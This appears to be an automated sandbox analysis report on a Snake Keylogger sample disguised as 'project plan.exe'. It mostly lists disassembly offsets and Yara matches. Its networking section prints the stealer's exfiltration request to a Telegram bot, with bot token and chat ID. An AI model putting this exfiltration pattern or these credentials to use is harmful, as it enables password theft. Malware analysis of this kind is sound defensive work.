Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06143D19h	3_2_06143A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06147139h	3_2_06146E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06144171h	3_2_06143EC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06147591h	3_2_061472E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 061445C9h	3_2_06144320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 061479E9h	3_2_06147740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06144A21h	3_2_06144778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06147E41h	3_2_06147B98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06144E79h	3_2_06144BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06148299h	3_2_06147FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 061452D1h	3_2_06145028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 0614F2D1h	3_2_0614F028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 0614EAF9h	3_2_0614E850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 061486F1h	3_2_06148448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06145729h	3_2_06145480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 0614F729h	3_2_0614F480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06148B49h	3_2_061488A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06145B81h	3_2_061458D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 0614FB81h	3_2_0614F8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06148FA1h	3_2_06148CF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06145FD9h	3_2_06145D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 061493F9h	3_2_06149150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06146431h	3_2_06146188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06146889h	3_2_061465E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_0614CA5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_0614CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_0614CD86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 061626F9h	3_2_06162450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06160741h	3_2_06160498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 061602E9h	3_2_06160040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06162FA9h	3_2_06162D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06162B51h	3_2_061628A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06160B99h	3_2_061608F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 061619F2h	3_2_06161748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06163859h	3_2_061635B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06163401h	3_2_06163158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 061622A1h	3_2_06161FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06161E49h	3_2_06161BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_06169F14

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE

Source: global traffic

HTTP traffic detected: POST /bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendDocument?chat_id=5361285164&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dc9b102694a6eaHost: api.telegram.orgContent-Length: 534Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View

ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

Source: RegAsm.exe, 00000003.00000002.3221467298.0000000002E57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: RegAsm.exe, 00000003.00000002.3221467298.0000000002D35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegAsm.exe, 00000003.00000002.3221467298.0000000002D35000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3221467298.0000000002D29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegAsm.exe, 00000003.00000002.3221467298.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: project plan.exe, 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegAsm.exe, 00000003.00000002.3221467298.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net
Source: RegAsm.exe, 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: project plan.exe, 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: RegAsm.exe, 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendDocument?chat_id=5361

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49711 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F1194D	0_2_00007FF848F1194D
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F10B3C	0_2_00007FF848F10B3C
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F14620	0_2_00007FF848F14620
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F19680	0_2_00007FF848F19680
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F1BD90	0_2_00007FF848F1BD90
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F105F0	0_2_00007FF848F105F0
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F24F03	0_2_00007FF848F24F03
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F11F30	0_2_00007FF848F11F30
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F24F50	0_2_00007FF848F24F50
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F10F90	0_2_00007FF848F10F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F6C19C	3_2_00F6C19C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F6A100	3_2_00F6A100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F693E0	3_2_00F693E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F634F3	3_2_00F634F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F688C0	3_2_00F688C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F69841	3_2_00F69841
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F69CA1	3_2_00F69CA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F66DDF	3_2_00F66DDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F68E97	3_2_00F68E97
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F67E49	3_2_00F67E49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F662EF	3_2_00F662EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F66300	3_2_00F66300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F688B0	3_2_00F688B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00F68F10	3_2_00F68F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06146A38	3_2_06146A38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06143A70	3_2_06143A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06146E90	3_2_06146E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06143EC8	3_2_06143EC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061472E8	3_2_061472E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614DAE8	3_2_0614DAE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06144320	3_2_06144320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06147740	3_2_06147740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06144778	3_2_06144778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06147B98	3_2_06147B98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06144BD0	3_2_06144BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061407C8	3_2_061407C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06147FF0	3_2_06147FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06145028	3_2_06145028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614F028	3_2_0614F028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614E850	3_2_0614E850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06148448	3_2_06148448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06145480	3_2_06145480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614F480	3_2_0614F480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061488A0	3_2_061488A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061458D8	3_2_061458D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614F8D8	3_2_0614F8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06148CF8	3_2_06148CF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06145D30	3_2_06145D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06149150	3_2_06149150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614ED68	3_2_0614ED68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06146188	3_2_06146188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061495A8	3_2_061495A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061465E0	3_2_061465E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614CDE8	3_2_0614CDE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06146A29	3_2_06146A29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614CA5F	3_2_0614CA5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614CA70	3_2_0614CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06143A60	3_2_06143A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06146E80	3_2_06146E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06143EB9	3_2_06143EB9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061472D8	3_2_061472D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06144310	3_2_06144310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06147733	3_2_06147733
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06144768	3_2_06144768
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06147B88	3_2_06147B88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06144BC1	3_2_06144BC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06147FE3	3_2_06147FE3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614F013	3_2_0614F013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06145018	3_2_06145018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06140037	3_2_06140037
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06148438	3_2_06148438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06140040	3_2_06140040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614E840	3_2_0614E840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06145470	3_2_06145470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614F470	3_2_0614F470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06148897	3_2_06148897
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614C0D9	3_2_0614C0D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061458C8	3_2_061458C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614F8C9	3_2_0614F8C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06148CE9	3_2_06148CE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06145D2B	3_2_06145D2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06149140	3_2_06149140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614617B	3_2_0614617B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0614C180	3_2_0614C180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061465D4	3_2_061465D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06164608	3_2_06164608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06162450	3_2_06162450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06160498	3_2_06160498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06166588	3_2_06166588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06160040	3_2_06160040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06164C58	3_2_06164C58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06162D00	3_2_06162D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06166BD8	3_2_06166BD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061628A8	3_2_061628A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061608F0	3_2_061608F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06161748	3_2_06161748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061635B0	3_2_061635B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06167228	3_2_06167228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061652A0	3_2_061652A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061693D2	3_2_061693D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06163158	3_2_06163158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06165F38	3_2_06165F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06163FB8	3_2_06163FB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06161FF8	3_2_06161FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06161BA0	3_2_06161BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06167870	3_2_06167870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061658E8	3_2_061658E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06162440	3_2_06162440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06160488	3_2_06160488
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06166578	3_2_06166578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061645F8	3_2_061645F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06160006	3_2_06160006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06164C48	3_2_06164C48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06162CF1	3_2_06162CF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06166BC8	3_2_06166BC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06162898	3_2_06162898
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061608E0	3_2_061608E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06161739	3_2_06161739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061635A0	3_2_061635A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06167219	3_2_06167219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06165290	3_2_06165290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06163148	3_2_06163148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06165F29	3_2_06165F29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06163FA9	3_2_06163FA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06161FE9	3_2_06161FE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06161B8F	3_2_06161B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0616785F	3_2_0616785F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061658D8	3_2_061658D8

Source: C:\Users\user\Desktop\project plan.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1536 -s 1028

Source: project plan.exe

